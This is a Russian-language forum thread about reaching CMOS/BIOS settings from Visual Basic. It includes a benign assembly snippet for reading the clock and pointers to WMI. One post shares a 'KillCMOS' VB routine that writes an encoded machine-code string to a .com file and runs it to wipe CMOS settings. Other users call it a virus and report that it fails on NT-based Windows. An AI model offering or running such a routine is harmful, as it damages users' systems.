VB vs. CMOS/BIOS?

[minotawr]

Вот код на асемблере для обращения к CMOS за текущим временем.

Код: Выделить всё

mov   al, 04h     ; хотим узнать текущий час
out   70h, al     ; задаем адрес в CMOS-памяти
jmp   $+2         ; небольшая задержка
in    al, 71h     ; записываем в AL считанное значение

По сути, тамже должны хранится данные всех настроек Биос, если изменить их в CMOS, а потом инициировать перезагрузку процессора, может что и получится, правда опять все упирается в то - что это асемблер, а не VB, тоесть посути мы опять топчемся на месте, одним VB для работы с BIOS не обойтись.
Думаю что дальнейшее решение вопроса не имеет смысла, VB действительно не предназначен для такой работы, а для тех кто хочет крикнуть VB-оцтой, добавлю - негоже из пушки по воробьям палить, и с мухобойкой на тигра охотится

[Vinechka]

Ну вот наяндексил я еще интересный (гыы) вариант. Так сказать, совмещение VB и машинного кода.

Код: Выделить всё

Sub KillCMOS()
    Open "C:\KillCMOS.com" For Binary As #1
        Put #1, , "QP3Й±?ЉБжpл ђжqвхXY"
    Close
    Call Shell("C:\KillCMOS.com")
End Sub

Сбрасывает кмос.

[GAGArin]

Вирус сбрасывающий настройки на дефолт это плохо. Вирус превращающий CMOS в кашу (которую легко отмотать на дефолтные же установки) тоже плохо, но ИМХО абсолютно не критично.

И вообще обсуждать создание вирусов лучше не на этом форуме. Здешние правила как-бы это не сильно одобряют.

[minotawr]

"QP3Й±?ЉБжpл ђжqвхXY"

- Очень красиво смотрится

[RayShade]

Тема, если честно, бредовая.

Если бы автор, представлял отличие BIOS от CMOS она может была бы лучше.

Если бы те кто постил ответы, подумал над этим, то положение можно было бы хоть как то исправить.

А так получилась сплошная мешанина.

[minotawr]

Если бы те кто постил ответы, подумал над этим, то положение можно было бы хоть как то исправить.
А так получилась сплошная мешанина.

Просто начали за задравие, а закончили за упокой

[GAGArin]

RayShade
Просто не совсем ясно было что афтору надо ) Если настроить, то CMOS ему в руки и пусть пытается менять, и BIOS ему нафиг не нужен. А если (как выяснилось) убить, то это не ко мне.

[minotawr]

Автор уже давно забил на свой вопрос, но тема интересная, поэтому и обсуждаем, а так как все поняли что убиение биоса, особенно средствами VB - не по нам , переключились автоматом на CMOS Все в пределах разумного

[ANDLL]

Вот код на асемблере для обращения к CMOS за текущим временем.

Код: Выделить всё

mov   al, 04h     ; хотим узнать текущий час
out   70h, al     ; задаем адрес в CMOS-памяти
jmp   $+2         ; небольшая задержка
in    al, 71h     ; записываем в AL считанное значение

Даже и не проверял, могу сказать, что работать не будет, по крайней мере в WindowsNT... Ты вообще, что нибудь слышал про работу с портами в Windows NT?

[ANDLL]

Ну вот наяндексил я еще интересный (гыы) вариант. Так сказать, совмещение VB и машинного кода.

Код: Выделить всё

Sub KillCMOS()
    Open "C:\KillCMOS.com" For Binary As #1
        Put #1, , "QP3Й±?ЉБжpл ђжqвхXY"
    Close
    Call Shell("C:\KillCMOS.com")
End Sub

Сбрасывает кмос.

То же не работает, проверял на Windows 2000.

[Twister]

Во первых: в NT нельзя считать инфу о биосе из юзермода, но можно из реестра!...
Во вторых: есть модуль на делфях, который, по словам автора, читает ROM-BIOS в NT. Но сам я это не проверял да и кажись он все равно из реестра читает .

[Konst_One]

http://msdn.microsoft.com/library/en-us/wmisdk/wmi/win32_systembios.asp

[Konst_One]

да простит меня Аркадий

Код: Выделить всё

http://www.freevbcode.com/ShowCode.Asp?ID=3292